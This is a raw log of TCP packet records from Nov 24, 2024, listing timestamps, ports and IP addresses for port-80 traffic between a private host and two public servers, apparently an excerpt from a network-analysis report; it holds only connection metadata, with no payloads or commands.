Nov 24, 2024 12:24:29.553276062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.553332090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.553380013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.553420067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.554387093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.554439068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.554483891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.554527998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.555188894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.555234909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.555336952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.555493116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.555538893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.555583000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.555599928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.555622101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.555639982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.555671930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.556402922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.556432962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.556476116 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.556570053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.556616068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.556684971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.556725025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.557218075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.557270050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.557307005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.557756901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.557807922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.557821989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.557861090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.558134079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.558185101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.558254957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.558803082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.558881998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.558908939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.558926105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.558950901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.558965921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.559001923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.559757948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.559813023 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.559894085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.559947014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.559962988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.559992075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.560004950 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.560559988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.560609102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.560664892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.561028004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.561079025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.561083078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.561119080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.561404943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.561456919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.561500072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.562119007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.562165022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.562215090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.562254906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.562325954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.563111067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.563164949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.563205004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.563920021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.563970089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.564011097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.564760923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.564815044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.564853907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.565572977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.565623999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.565663099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.566405058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.566453934 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.566497087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.567240953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.567296028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.567348003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.568080902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.568133116 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.568171978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.568907976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.568955898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.569006920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.569751978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.569794893 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.569868088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.570573092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.570615053 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.570640087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.571417093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.571461916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.571501970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.572233915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.572274923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.572346926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.573090076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.573138952 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.573178053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.573930025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.573973894 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.573976994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.574745893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.574788094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.574856997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.575581074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.575628042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.575697899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.576435089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.576486111 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.576546907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.577266932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.577311993 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.577436924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.578094959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.578135967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.578192949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.578915119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.578958035 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.578996897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.579763889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.579811096 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.579857111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.580621958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.580676079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.580812931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.581410885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.581455946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.581496000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.582269907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.582340002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.582415104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.583081961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.583123922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.583163023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.583956957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.584001064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.584029913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.584773064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.584820032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.584892035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.585596085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.585644960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.585655928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.586410999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.586457014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.586500883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.587254047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.587301970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.587380886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.588082075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.588129997 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.588170052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.588906050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.588952065 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.588994980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.589751959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.589795113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.589848995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.590548038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.590600014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.677231073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.677263021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.677330017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.677637100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.677823067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.677869081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.678446054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.678780079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.678826094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.678838968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.679574966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.679620028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.679689884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.680520058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.680537939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.680567980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.681241035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.681293964 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.681355953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.682051897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.682096004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.696603060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.696651936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.696660995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.696685076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.697133064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.697179079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.697268963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.697315931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.698281050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.698297977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.698328018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.698342085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.699410915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.699470043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.699505091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.699551105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.700481892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.700532913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.700608015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.700654984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.701631069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.701678991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.701718092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.701762915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.702681065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.702727079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.702797890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.702840090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.703799963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.703849077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.704241991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.704289913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.705003023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.705050945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.705153942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.705200911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.705982924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.706027031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.706088066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.706131935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.707073927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.707123041 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.707182884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.707247019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.708228111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.708276987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.708374977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.708425045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.709323883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.709376097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.709469080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.709515095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.710428953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.710474014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.710520983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.710567951 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.711529970 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.711576939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.711764097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.711810112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.712683916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.712733030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.712774038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.712817907 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.713934898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.713982105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.714150906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.714214087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.714953899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.715003014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.715049982 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.715095043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.716026068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.716073036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.716206074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.716253042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.717078924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.717125893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.717144966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.717185974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.718151093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.718199015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.718276024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.718319893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.719238043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.719290018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.719338894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.719386101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.720360041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.720402956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.720403910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.720443964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.721581936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.721651077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.721728086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.721774101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.722590923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.722635031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.722681046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.722724915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.723685980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.723732948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.723778009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.723819971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.724803925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.724849939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.724889040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.724932909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.725876093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.725924015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.725986004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.726022005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.727009058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.727072954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.727133989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.727179050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.728180885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.728323936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.728336096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.728411913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.729223013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.729274988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.729315042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.729360104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.730299950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.730349064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.730447054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.730500937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.731466055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.731522083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.731607914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.731658936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.732513905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.732569933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.732671022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.732712030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.733659029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.733709097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.733905077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.733952045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.734739065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.734783888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.734849930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.734890938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.735884905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.735955000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.735980034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.736008883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.736970901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.737019062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.737066984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.737107038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.738128901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.738178015 CET	49793	80	192.168.2.4	31.41.244.11
